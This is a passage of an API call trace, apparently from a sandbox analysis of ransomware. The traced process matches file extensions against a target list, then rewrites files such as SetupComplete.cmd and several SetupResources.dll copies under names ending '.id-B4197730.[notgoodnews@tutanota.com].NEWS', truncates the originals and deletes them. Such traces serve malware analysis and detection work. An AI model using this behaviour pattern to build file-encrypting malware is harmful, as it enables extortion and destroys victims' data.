(lpString=".pdf") returned 4 [0061.202] lstrcmpiW (lpString1=".pdf", lpString2=".cmd") returned 1 [0061.202] lstrlenW (lpString=".xls") returned 4 [0061.202] lstrcmpiW (lpString1=".xls", lpString2=".cmd") returned 1 [0061.202] lstrlenW (lpString=".xlsx") returned 5 [0061.202] lstrcmpiW (lpString1=".xlsx", lpString2="e.cmd") returned -1 [0061.202] lstrlenW (lpString=".ppt") returned 4 [0061.202] lstrcmpiW (lpString1=".ppt", lpString2=".cmd") returned 1 [0061.202] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0061.202] lstrlenW (lpString=".zip") returned 4 [0061.202] lstrcmpiW (lpString1=".zip", lpString2=".cmd") returned 1 [0061.202] lstrlenW (lpString=".rar") returned 4 [0061.202] lstrcmpiW (lpString1=".rar", lpString2=".cmd") returned 1 [0061.202] lstrlenW (lpString=".bz2") returned 4 [0061.202] lstrcmpiW (lpString1=".bz2", lpString2=".cmd") returned -1 [0061.202] lstrlenW (lpString=".7z") returned 3 [0061.202] lstrcmpiW (lpString1=".7z", lpString2="cmd") returned -1 [0061.202] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0061.202] lstrlenW (lpString=".dbf") returned 4 [0061.202] lstrcmpiW (lpString1=".dbf", lpString2=".cmd") returned 1 [0061.202] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0061.202] lstrlenW (lpString=".1cd") returned 4 [0061.202] lstrcmpiW (lpString1=".1cd", lpString2=".cmd") returned -1 [0061.203] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0061.203] lstrlenW (lpString=".jpg") returned 4 [0061.203] lstrcmpiW (lpString1=".jpg", lpString2=".cmd") returned 1 [0061.203] lstrcmpiW (lpString1=".cmd", lpString2=".NEWS") returned -1 [0061.203] lstrlenW (lpString="SetupComplete.cmd") returned 17 [0061.203] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0061.204] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=307) returned 1 [0061.204] CloseHandle (hObject=0x2f4) returned 1 [0061.204] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd")) returned 0x20 [0061.204] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0061.204] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0061.204] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0061.204] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0061.204] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0061.205] GetLastError () returned 0x0 [0061.205] ReadFile (in: hFile=0x2f4, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x133, lpOverlapped=0x0) returned 1 [0061.208] WriteFile (in: hFile=0x2f8, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x140, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0x140, lpOverlapped=0x0) returned 1 [0061.209] ReadFile (in: hFile=0x2f4, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1 [0061.209] WriteFile (in: hFile=0x2f8, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0xf6, lpOverlapped=0x0) returned 1 [0061.561] SetEndOfFile (hFile=0x2f8) returned 1 [0061.562] CloseHandle (hObject=0x2f8) returned 1 [0061.572] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0061.572] SetEndOfFile (hFile=0x2f4) returned 1 [0061.573] CloseHandle (hObject=0x2f4) returned 1 [0061.573] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0061.573] DeleteFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd")) returned 1 [0061.573] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0061.573] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0061.573] lstrlenW (lpString=".doc") returned 4 [0061.573] lstrcmpiW (lpString1=".doc", lpString2=".cmd") returned 1 [0061.574] lstrlenW (lpString=".docx") returned 5 [0061.574] lstrcmpiW (lpString1=".docx", lpString2="e.cmd") returned -1 [0061.574] lstrlenW (lpString=".pdf") returned 4 [0061.574] lstrcmpiW (lpString1=".pdf", lpString2=".cmd") returned 1 [0061.574] lstrlenW (lpString=".xls") returned 4 [0061.574] lstrcmpiW (lpString1=".xls", lpString2=".cmd") returned 1 [0061.574] lstrlenW (lpString=".xlsx") returned 5 [0061.574] lstrcmpiW (lpString1=".xlsx", lpString2="e.cmd") returned -1 [0061.574] lstrlenW (lpString=".ppt") returned 4 [0061.574] lstrcmpiW (lpString1=".ppt", lpString2=".cmd") returned 1 [0061.574] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0061.574] lstrlenW (lpString=".zip") returned 4 [0061.574] lstrcmpiW (lpString1=".zip", lpString2=".cmd") returned 1 [0061.574] lstrlenW (lpString=".rar") returned 4 [0061.574] lstrcmpiW (lpString1=".rar", lpString2=".cmd") returned 1 [0061.574] lstrlenW (lpString=".bz2") returned 4 [0061.574] lstrcmpiW (lpString1=".bz2", lpString2=".cmd") returned -1 [0061.574] lstrlenW (lpString=".7z") returned 3 [0061.574] lstrcmpiW (lpString1=".7z", lpString2="cmd") returned -1 [0061.574] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0061.574] lstrlenW (lpString=".dbf") returned 4 [0061.574] lstrcmpiW (lpString1=".dbf", lpString2=".cmd") returned 1 [0061.574] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0061.574] lstrlenW (lpString=".1cd") returned 4 [0061.574] lstrcmpiW (lpString1=".1cd", lpString2=".cmd") returned -1 [0061.574] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0061.574] lstrlenW (lpString=".jpg") returned 4 [0061.574] lstrcmpiW (lpString1=".jpg", lpString2=".cmd") returned 1 [0061.574] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0061.574] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0061.574] lstrlenW (lpString=".doc") returned 4 [0061.574] lstrcmpiW (lpString1=".doc", lpString2=".cmd") returned 1 [0061.574] lstrlenW (lpString=".docx") returned 5 [0061.574] lstrcmpiW (lpString1=".docx", lpString2="e.cmd") returned -1 [0061.574] lstrlenW (lpString=".pdf") returned 4 [0061.575] lstrcmpiW (lpString1=".pdf", lpString2=".cmd") returned 1 [0061.575] lstrlenW (lpString=".xls") returned 4 [0061.575] lstrcmpiW (lpString1=".xls", lpString2=".cmd") returned 1 [0061.575] lstrlenW (lpString=".xlsx") returned 5 [0061.575] lstrcmpiW (lpString1=".xlsx", lpString2="e.cmd") returned -1 [0061.575] lstrlenW (lpString=".ppt") returned 4 [0061.575] lstrcmpiW (lpString1=".ppt", lpString2=".cmd") returned 1 [0061.575] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0061.575] lstrlenW (lpString=".zip") returned 4 [0061.575] lstrcmpiW (lpString1=".zip", lpString2=".cmd") returned 1 [0061.575] lstrlenW (lpString=".rar") returned 4 [0061.575] lstrcmpiW (lpString1=".rar", lpString2=".cmd") returned 1 [0061.575] lstrlenW (lpString=".bz2") returned 4 [0061.575] lstrcmpiW (lpString1=".bz2", lpString2=".cmd") returned -1 [0061.575] lstrlenW (lpString=".7z") returned 3 [0061.575] lstrcmpiW (lpString1=".7z", lpString2="cmd") returned -1 [0061.575] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0061.575] lstrlenW (lpString=".dbf") returned 4 [0061.575] lstrcmpiW (lpString1=".dbf", lpString2=".cmd") returned 1 [0061.575] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0061.575] lstrlenW (lpString=".1cd") returned 4 [0061.575] lstrcmpiW (lpString1=".1cd", lpString2=".cmd") returned -1 [0061.575] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0061.575] lstrlenW (lpString=".jpg") returned 4 [0061.575] lstrcmpiW (lpString1=".jpg", lpString2=".cmd") returned 1 [0061.575] Sleep (dwMilliseconds=0x64) [0061.778] Sleep (dwMilliseconds=0x64) [0063.394] Sleep (dwMilliseconds=0x64) [0063.778] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0063.778] lstrlenW (lpString="SetupResources.dll") returned 18 [0063.778] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0064.043] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=17240) returned 1 [0064.043] CloseHandle (hObject=0x340) returned 1 [0064.043] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll")) returned 0x80 [0064.044] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0064.044] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0064.044] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0064.044] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0064.044] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0064.044] GetLastError () returned 0x0 [0064.044] ReadFile (in: hFile=0x340, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x4358, lpOverlapped=0x0) returned 1 [0064.046] WriteFile (in: hFile=0x34c, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x4360, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0x4360, lpOverlapped=0x0) returned 1 [0064.047] ReadFile (in: hFile=0x340, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1 [0064.047] WriteFile (in: hFile=0x34c, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0xf8, lpOverlapped=0x0) returned 1 [0064.048] SetEndOfFile (hFile=0x34c) returned 1 [0064.048] CloseHandle (hObject=0x34c) returned 1 [0064.049] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0064.049] SetEndOfFile (hFile=0x340) returned 1 [0064.050] CloseHandle (hObject=0x340) returned 1 [0064.050] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0064.050] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll")) returned 1 [0064.051] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0064.051] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0064.051] lstrlenW (lpString=".doc") returned 4 [0064.051] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0064.051] lstrlenW (lpString=".docx") returned 5 [0064.051] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0064.051] lstrlenW (lpString=".pdf") returned 4 [0064.051] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0064.051] lstrlenW (lpString=".xls") returned 4 [0064.051] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0064.051] lstrlenW (lpString=".xlsx") returned 5 [0064.051] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0064.051] lstrlenW (lpString=".ppt") returned 4 [0064.051] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0064.051] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0064.051] lstrlenW (lpString=".zip") returned 4 [0064.051] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0064.051] lstrlenW (lpString=".rar") returned 4 [0064.051] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0064.051] lstrlenW (lpString=".bz2") returned 4 [0064.051] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0064.051] lstrlenW (lpString=".7z") returned 3 [0064.051] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0064.051] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0064.051] lstrlenW (lpString=".dbf") returned 4 [0064.051] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0064.051] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0064.051] lstrlenW (lpString=".1cd") returned 4 [0064.051] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0064.051] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0064.051] lstrlenW (lpString=".jpg") returned 4 [0064.051] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0064.052] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0064.052] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0064.052] lstrlenW (lpString=".doc") returned 4 [0064.052] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0064.052] lstrlenW (lpString=".docx") returned 5 [0064.052] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0064.052] lstrlenW (lpString=".pdf") returned 4 [0064.052] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0064.052] lstrlenW (lpString=".xls") returned 4 [0064.052] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0064.052] lstrlenW (lpString=".xlsx") returned 5 [0064.052] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0064.052] lstrlenW (lpString=".ppt") returned 4 [0064.052] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0064.052] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0064.052] lstrlenW (lpString=".zip") returned 4 [0064.052] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0064.052] lstrlenW (lpString=".rar") returned 4 [0064.052] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0064.052] lstrlenW (lpString=".bz2") returned 4 [0064.052] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0064.052] lstrlenW (lpString=".7z") returned 3 [0064.052] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0064.052] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0064.052] lstrlenW (lpString=".dbf") returned 4 [0064.052] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0064.052] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0064.052] lstrlenW (lpString=".1cd") returned 4 [0064.052] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0064.052] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0064.052] lstrlenW (lpString=".jpg") returned 4 [0064.052] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0064.053] Sleep (dwMilliseconds=0x64) [0064.552] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0064.552] lstrlenW (lpString="SetupResources.dll") returned 18 [0064.552] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0064.552] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=18264) returned 1 [0064.552] CloseHandle (hObject=0x330) returned 1 [0064.552] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll")) returned 0x80 [0064.553] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0064.553] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0064.553] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0064.553] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0064.553] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0064.553] GetLastError () returned 0x0 [0064.553] ReadFile (in: hFile=0x330, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x4758, lpOverlapped=0x0) returned 1 [0064.555] WriteFile (in: hFile=0x348, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0x4760, lpOverlapped=0x0) returned 1 [0064.556] ReadFile (in: hFile=0x330, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1 [0064.556] WriteFile (in: hFile=0x348, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0xf8, lpOverlapped=0x0) returned 1 [0064.556] SetEndOfFile (hFile=0x348) returned 1 [0064.556] CloseHandle (hObject=0x348) returned 1 [0064.558] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0064.558] SetEndOfFile (hFile=0x330) returned 1 [0064.558] CloseHandle (hObject=0x330) returned 1 [0064.559] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0064.559] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll")) returned 1 [0064.559] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0064.559] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0064.559] lstrlenW (lpString=".doc") returned 4 [0064.559] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0064.559] lstrlenW (lpString=".docx") returned 5 [0064.559] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0064.559] lstrlenW (lpString=".pdf") returned 4 [0064.559] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0064.559] lstrlenW (lpString=".xls") returned 4 [0064.559] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0064.559] lstrlenW (lpString=".xlsx") returned 5 [0064.559] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0064.559] lstrlenW (lpString=".ppt") returned 4 [0064.559] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0064.559] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0064.559] lstrlenW (lpString=".zip") returned 4 [0064.559] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0064.559] lstrlenW (lpString=".rar") returned 4 [0064.560] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0064.560] lstrlenW (lpString=".bz2") returned 4 [0064.560] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0064.560] lstrlenW (lpString=".7z") returned 3 [0064.560] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0064.560] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0064.560] lstrlenW (lpString=".dbf") returned 4 [0064.560] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0064.560] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0064.560] lstrlenW (lpString=".1cd") returned 4 [0064.560] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0064.560] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0064.560] lstrlenW (lpString=".jpg") returned 4 [0064.560] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0064.560] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0064.560] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0064.560] lstrlenW (lpString=".doc") returned 4 [0064.560] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0064.560] lstrlenW (lpString=".docx") returned 5 [0064.560] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0064.560] lstrlenW (lpString=".pdf") returned 4 [0064.560] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0064.560] lstrlenW (lpString=".xls") returned 4 [0064.560] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0064.560] lstrlenW (lpString=".xlsx") returned 5 [0064.560] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0064.560] lstrlenW (lpString=".ppt") returned 4 [0064.560] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0064.560] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0064.560] lstrlenW (lpString=".zip") returned 4 [0064.560] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0064.560] lstrlenW (lpString=".rar") returned 4 [0064.560] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0064.560] lstrlenW (lpString=".bz2") returned 4 [0064.560] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0064.561] lstrlenW (lpString=".7z") returned 3 [0064.561] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0064.561] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0064.561] lstrlenW (lpString=".dbf") returned 4 [0064.561] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0064.561] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0064.561] lstrlenW (lpString=".1cd") returned 4 [0064.561] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0064.561] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0064.561] lstrlenW (lpString=".jpg") returned 4 [0064.561] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0064.561] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0064.561] lstrlenW (lpString="SetupResources.dll") returned 18 [0064.561] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0064.561] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=15704) returned 1 [0064.561] CloseHandle (hObject=0x330) returned 1 [0064.561] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll")) returned 0x80 